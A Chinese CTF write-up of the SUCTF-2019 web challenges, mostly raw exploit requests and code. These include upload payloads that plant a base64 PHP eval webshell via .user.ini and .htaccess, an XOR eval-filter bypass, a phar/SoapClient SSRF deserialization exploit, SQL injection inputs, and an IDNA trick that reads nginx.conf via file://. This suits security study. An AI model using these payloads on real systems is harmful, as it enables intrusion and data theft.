SUCTF-2019 web题解

web题目源码

https://github.com/team-su/SUCTF-2019

CheckIn

一道文件上传传题

  1. 对文件后缀名检测到有ph存在就报错
  2. 文件名不受限制,也不会再后端进行更改
  3. 对文件内容进行限制,限制<?使用
  4. 还有要求图片文件头(添加GIF89a即可绕过)
  5. 上传目录上有个index.php
  6. 后端为nginx

先上传一个123.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
POST /index.php HTTP/1.1
Host: 47.111.59.243:9021
Content-Length: 329
Cache-Control: max-age=0
Origin: http://47.111.59.243:9021
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzybtAWL5BZwWjsuB
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://47.111.59.243:9021/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,en;q=0.7
Cookie: PHPSESSID=8i9bsqt9vfdnm7mv8r30o35290
Connection: close

------WebKitFormBoundaryzybtAWL5BZwWjsuB
Content-Disposition: form-data; name="fileUpload"; filename="123.png"
Content-Type: image/png

GIF89aaaPD9waHAgQGV2YWwoJF9HRVRbJ18nXSk7Pz4=
------WebKitFormBoundaryzybtAWL5BZwWjsuB
Content-Disposition: form-data; name="upload"

提交
------WebKitFormBoundaryzybtAWL5BZwWjsuB--

再上传.user.ini
https://www.php.net/manual/zh/configuration.file.per-user.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
POST /index.php HTTP/1.1
Host: 47.111.59.243:9021
Content-Length: 365
Cache-Control: max-age=0
Origin: http://47.111.59.243:9021
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzybtAWL5BZwWjsuB
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://47.111.59.243:9021/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,en;q=0.7
Cookie: PHPSESSID=8i9bsqt9vfdnm7mv8r30o35290
Connection: close

------WebKitFormBoundaryzybtAWL5BZwWjsuB
Content-Disposition: form-data; name="fileUpload"; filename=".user.ini"
Content-Type: image/png

GIF89a
auto_append_file="php://filter/convert.base64-decode/resource=123.png"
------WebKitFormBoundaryzybtAWL5BZwWjsuB
Content-Disposition: form-data; name="upload"

提交
------WebKitFormBoundaryzybtAWL5BZwWjsuB--

auto_append_file会在php末尾加载php文件

这里再补充一下另一种绕<?的方法

esay_php

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php
function get_the_flag(){
// webadmin will remove your upload file every 20 min!!!!
$userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
if(!file_exists($userdir)){
mkdir($userdir);
}
if(!empty($_FILES["file"])){
$tmp_name = $_FILES["file"]["tmp_name"];
$name = $_FILES["file"]["name"];
$extension = substr($name, strrpos($name,".")+1);
if(preg_match("/ph/i",$extension)) die("^_^");
if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
if(!exif_imagetype($tmp_name)) die("^_^");
$path= $userdir."/".$name;
@move_uploaded_file($tmp_name, $path);
print_r($path);
}
}

$hhh = @$_GET['_'];

if (!$hhh){
highlight_file(__FILE__);
}

if(strlen($hhh)>18){
die('One inch long, one inch strong!');
}

if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
die('Try something else!');

$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");

eval($hhh);
?>

过滤到只能用异或,但是又有长度限制
先看个例子

payload

1
http://47.111.59.243:9001/?_=${%A0%B8%BA%AB^%FF%FF%FF%FF}{%FF}();&%FF=phpinfo


之后又是文件上传过滤方式和上题差不多,不过后端改成了apache
上传.htaccess,注意AddType前面有两个0x00绕过
exif_imagetype(关于这里的绕过可以看https://thibaudrobin.github.io/articles/bypass-filter-upload/ )

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
POST /index.php?_=${%A0%B8%BA%AB^%FF%FF%FF%FF}{%FF}();&%FF=get_the_flag HTTP/1.1
Host: 47.111.59.243:9001
Content-Length: 358
Cache-Control: max-age=0
Origin: http://47.111.59.243:9021
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzybtAWL5BZwWjsuB
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://47.111.59.243:9021/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,en;q=0.7
Cookie: PHPSESSID=8i9bsqt9vfdnm7mv8r30o35290
Connection: close

------WebKitFormBoundaryzybtAWL5BZwWjsuB
Content-Disposition: form-data; name="file"; filename=".htaccess"
Content-Type: image/png

AddType application/x-httpd-php .xxx
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_51897a479217e6e0baee05f56e4677a9/1.xxx"
------WebKitFormBoundaryzybtAWL5BZwWjsuB

在上传一个1.xxx同理在前面加两个0x00绕过exif_imagetype

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
POST /index.php?_=${%A0%B8%BA%AB^%FF%FF%FF%FF}{%FF}();&%FF=get_the_flag HTTP/1.1
Host: 47.111.59.243:9001
Content-Length: 214
Cache-Control: max-age=0
Origin: http://47.111.59.243:9021
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzybtAWL5BZwWjsuB
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://47.111.59.243:9021/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,en;q=0.7
Cookie: PHPSESSID=8i9bsqt9vfdnm7mv8r30o35290
Connection: close

------WebKitFormBoundaryzybtAWL5BZwWjsuB
Content-Disposition: form-data; name="file"; filename="1.xxx"
Content-Type: image/png

PD9waHAgQGV2YWwoJF9HRVRbJ18nXSk7Pz4=
------WebKitFormBoundaryzybtAWL5BZwWjsuB

get shell成功(当然disable_function里的还是不能用)

接下来是绕过open_basedir
https://xz.aliyun.com/t/4720

拿到flag

Upload Labs 2

这题的题目环境和比赛环境好像不一样
比赛环境

题目环境

看了眼官方wp后发现采用的还是上面那中https://xz.aliyun.com/t/6057#toc-6(先留着
存在反序列化点$this->type = finfo_file($finfo, $this->file_name);
正则绕过php://filter/resource=phar://phar.phar
根据上两题的<?绕过<script language="php">__HALT_COMPILER();</script>
最后的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt','text');
$phar->setStub('<script language="php">__HALT_COMPILER();</script>');

class File {
public $file_name = "";
public $func = "SoapClient";

function __construct(){
$target = "http://127.0.0.1/admin.php";
$post_string = 'admin=&ip=111.111.111.111&port=1111&clazz=SplStack&func1=push&func2=push&func3=push&arg1=123456&arg2=123456&arg3='. "\r\n";
$headers = [];
$this->file_name = [
null,
array('location' => $target,
'user_agent'=> str_replace('^^', "\r\n", 'xxxxx^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'Content-Length: '. (string)strlen($post_string).'^^^^'.$post_string),
'uri'=>'hello')
];
}
}
$object = new File;
echo urlencode(serialize($object));
$phar->setMetadata($object);
$phar->stopBuffering();

生成后改成.jpg后缀并上传,在func.php页面读取
php://filter/resource=phar://upload/xxxxx.jpg

esay_sql

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
<?php
session_start();

include_once "config.php";

$post = array();
$get = array();
global $MysqlLink;

//GetPara();
$MysqlLink = mysqli_connect("localhost",$datauser,$datapass);
if(!$MysqlLink){
die("Mysql Connect Error!");
}
$selectDB = mysqli_select_db($MysqlLink,$dataName);
if(!$selectDB){
die("Choose Database Error!");
}

foreach ($_POST as $k=>$v){
if(!empty($v)&&is_string($v)){
$post[$k] = trim(addslashes($v));
}
}
foreach ($_GET as $k=>$v){
}
}
//die();
?>

<html>
<head>
</head>

<body>

<a> Give me your flag, I will tell you if the flag is right. </ a>
<form action="" method="post">
<input type="text" name="query">
<input type="submit">
</form>
</body>
</html>

<?php

if(isset($post['query'])){
$BlackList = "prepare|flag|unhex|xml|drop|create|insert|like|regexp|outfile|readfile|where|from|union|update|delete|if|sleep|extractvalue|updatexml|or|and|&|\"";
//var_dump(preg_match("/{$BlackList}/is",$post['query']));
if(preg_match("/{$BlackList}/is",$post['query'])){
//echo $post['query'];
die("Nonono.");
}
if(strlen($post['query'])>40){
die("Too long.");
}
$sql = "select ".$post['query']."||flag from Flag";
mysqli_multi_query($MysqlLink,$sql);
do{
if($res = mysqli_store_result($MysqlLink)){
while($row = mysqli_fetch_row($res)){
print_r($row);
}
}
}while(@mysqli_next_result($MysqlLink));

}
?>

非预期解*,2||
预期解1;set sql_mode=PIPES_AS_CONCAT;select 1
这里说一下预期解
https://dev.mysql.com/doc/refman/8.0/en/sql-mode.html#sqlmode_pipes_as_concat
PIPES_AS_CONCAT|| 视为字符串的连接操作符而非 或 运算符,这和Oracle数据库是一样的,也和字符串的拼接函数 CONCAT() 相类似。

pythonnginx

进去发现是一坨代码,因为游览器不解析\n可以使用curl

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
@app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
url = request.args.get("url")
host = parse.urlparse(url).hostname
if host == 'suctf.cc':
return "我扌 your problem? 111"
parts = list(urlsplit(url))
host = parts[1]
if host == 'suctf.cc':
return "我扌 your problem? 222 " + host
newhost = []
for h in host.split('.'):
newhost.append(h.encode('idna').decode('utf-8'))
parts[1] = '.'.join(newhost)
#去掉 url 中的空格
finalUrl = urlunsplit(parts).split(' ')[0]
host = parse.urlparse(finalUrl).hostname
if host == 'suctf.cc':
return urllib.request.urlopen(finalUrl).read()
else:
return "我扌 your problem? 333"

blackhack议题
脚本爆破c字符

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from urllib.parse import urlparse,urlunsplit,urlsplit
from urllib import parse
def get_unicode():
for x in range(65536):
uni=chr(x)
url="http://suctf.c{}".format(uni)
try:
if getUrl(url):
print("str: "+uni+' unicode: \\u'+str(hex(x))[2:])
except:
pass


def getUrl(url):
url = url
host = parse.urlparse(url).hostname
if host == 'suctf.cc':
return False
parts = list(urlsplit(url))
host = parts[1]
if host == 'suctf.cc':
return False
newhost = []
for h in host.split('.'):
newhost.append(h.encode('idna').decode('utf-8'))
parts[1] = '.'.join(newhost)
finalUrl = urlunsplit(parts).split(' ')[0]
host = parse.urlparse(finalUrl).hostname
if host == 'suctf.cc':
return True
else:
return False

if __name__=="__main__":
get_unicode()

读nginx配置文件

1
http://127.0.0.1:9000/getUrl?url=file%3A%2F%2Fsuctf.c%e2%84%82/../../../../../../../usr/local/nginx/conf/nginx.conf

发现flag路径

iColudMusic

electron 的 xss to rce
https://github.com/imagemlt/iCloudMusic

Cocktail’s Remix

没给源码,先留个坑位

参考

https://xz.aliyun.com/t/6042#toc-30
https://cloud.tencent.com/developer/article/1492956
https://github.com/team-su/SUCTF-2019